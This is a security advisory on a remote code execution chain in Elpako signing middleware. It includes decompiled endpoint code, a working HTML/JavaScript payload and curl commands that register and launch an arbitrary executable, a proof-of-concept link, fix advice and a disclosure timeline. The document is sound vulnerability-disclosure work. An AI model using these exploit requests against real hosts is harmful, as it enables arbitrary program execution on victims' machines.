Elpako Remote Code Execution

General Overview

Elpako is local cryptographic middleware software that bridges web-based signing applications to USB tokens or ID card readers via PKCS#11 and PC/SC, enabling qualified electronic signatures using hardware-backed cryptographic elements. Elpako v3.3.6 for Windows, and likely prior versions, contain a vulnerability chain that enables Remote Code Execution on Windows hosts running the Elpako Root daemon. Mac and Linux versions may also be affected, but they have not been tested. The attack requires no authentication and can be triggered from a malicious website. In certain browser configurations, the victim may need to approve Browser Local Network Access prompts, though the exploit could likely be optimized to bypass these prompts or reduce their impact. Successful exploitation allows an attacker to execute arbitrary programs in the context of the logged-in user. Additionally, because the daemon listens on port 38888 bound to 0.0.0.0, systems with firewall configurations that allow access to this port may be exploitable remotely without user interaction, such as from the same network.

Affected Component

File: Nevda.Epk.Local.Root.dll (the Root daemon / API server)
Endpoints: /Handshake/Child and /Handshake/Browser
Process spawning: ProcessExtensions.StartProcessAsCurrentUser() in Nevda.Epk.Local.Root.Helpers
Listening: https://0.0.0.0:38888 (all interfaces, HTTPS with bundled self-signed cert 127.0.0.1.pfx)

Vulnerability Details

The RCE exploit chains two API endpoints that, individually, have limited impact but together form a complete attack:

/Handshake/Child โ€“ Child Registration (Step 1)
[HttpGet("Child")]
public IActionResult Child(string name, int port, string path, int pid)
{
    // Stores child info in daemon memory โ€” no validation, no auth
    global::\u00a0.\u2000.\u00a0(name, port, path, pid);
    return Ok(...);
}

This endpoint registers a "child" process entry in the daemon's in-memory registry. The path parameter is stored verbatim and will later be passed to CreateProcessAsUser() as the lpApplicationName argument. No authentication, no path validation, no allowlisting.

/Handshake/Browser โ€“ Child Trigger (Step 2)
[EnableCors("LocalSignCorsPolicy")]
[HttpGet("Browser")]
public IActionResult Browser()
{
    string text = /* get first registered child name */;

    // Calls GetClientWithAvailabilityCheck(childName, runChild: true)
    if (GetClientWithAvailabilityCheck(text, runChild: true) == null)
    {
        // Retry with different child
    }
    return Ok(text);
}

This endpoint calls GetClientWithAvailabilityCheck("text", runChild: true), which first attempts to connect to the child process over IPC at localhost:port. Since no real child process is running, the connection fails, causing the daemon to call StartChild():

public IpcServiceClient<IChildrenActionContract> GetClientWithAvailabilityCheck(
    string childName, bool runChild = false)
{
    // Look up registered child by name
    var childInfo = /* find child by name */;

    try
    {
        // Try IPC connection to child
        var client = new IpcServiceClientBuilder<...>()
            .UseTcp(IPAddress.Loopback, port)
            .Build();
        if (task.Wait(TimeSpan.FromMilliseconds(5000.0)))
        {
            return client;
        }
        // Timeout โ†’ fall through
    }
    catch (TimeoutException)
    {
        if (runChild && retryCount < 5)
        {
            ProcessExtensions.TryKillByPid(childInfo.Pid);
            StartChild(childName, childInfo); // โ† RCE HERE
            // Recursive retry ...
        }
    }
    catch (AggregateException) // "connection refused" = no child running
    {
        if (runChild)
        {
            StartChild(childName, childInfo); // โ† RCE HERE
        }
    }
}

This then invokes ProcessExtensions.StartProcessAsCurrentUser(path) to start the child process as the current user:

private void StartChild(string childName, ChildInfo info)
{
    if (!string.IsNullOrEmpty(info.Path))
    {
        // Passes attacker-controlled path directly to Win32 API
        ProcessExtensions.StartProcessAsCurrentUser(info.Path);
    }
}

The daemon runs as SYSTEM (Windows Service), but the spawned process runs in the logged-in user's desktop session with their privileges and environment:

public static bool StartProcessAsCurrentUser(string appPath, ...)
{
    // Gets user token from active Windows session
    IntPtr hToken = GetUserToken(); // WTSEnumerateSessions + WTSQueryUserToken
    DuplicateTokenEx(hToken, ...);  // Duplicate for CreateProcessAsUser
    CreateEnvironmentBlock(...);   // User's environment variables

    // EXECUTES THE ATTACKER-CONTROLLED PATH AS THE LOGGED-IN USER
    CreateProcessAsUser(hDupToken, appPath, cmdLine, ...);
}

Attack Vectors

Browser-Based (Primary)

A victim visits a malicious site controlled by the attacker while Elpako is running on the victimโ€™s system. Depending on the browser, the victim may need to approve browser Local Network Access (LNA) prompts for the attack to proceed.

<!-- Step 1: Register child with malicious path (no CORS check needed) -->
<img src="https://127.0.0.1:38888/Handshake/Child?name=test&port=4444&path=calc.exe&pid=9999">

<!-- Step 2: Trigger execution (CORS-enabled endpoint) -->
<script>
fetch('https://127.0.0.1:38888/Handshake/Browser', {
    mode: 'cors',
    credentials: 'include'
})
</script>
Direct Network (Secondary)

Since the daemon listens on 0.0.0.0:38888, any machine on the network can directly (in non-default Windows Firewall configurations that allow access to this port) call the API:

# Register child
curl -k "https://target:38888/Handshake/Child?name=test&port=4444&path=calc.exe&pid=9999"

# Trigger execution
curl -k "https://target:38888/Handshake/Browser"

Proof of Concept

The identified RCE vulnerability can be tested by visiting the provided URL from a system running the Elpako software and clicking the button on the web page. Successful execution of the proof of concept code launches calc.exe.

https://critical.lt/elpako/elpako_poc_calc.html

Recommendation

It's recommended to eliminate the externally triggered child registration and launch flow entirely so neither /Handshake/Child nor /Handshake/Browser is required to start or recover child processes. Child executable paths should be resolved only from a server-side allowlist of trusted, signed binaries in protected installation directories, and child startup or restart should be handled internally by the daemon using validated daemon-owned state rather than externally supplied registration data.

Disclosure timeline:

2026-06-25 โ€“ Contacting Nevda regarding security vulnerability
2026-06-26 โ€“ Vendor acknowledges the vulnerability
2026-07-27 โ€“ Contacting Nevda regarding patch status
2026-07-27 โ€“ Patch confirmed by the vendor

Similar Issues

About Us

ยฉ 2026 Critical Security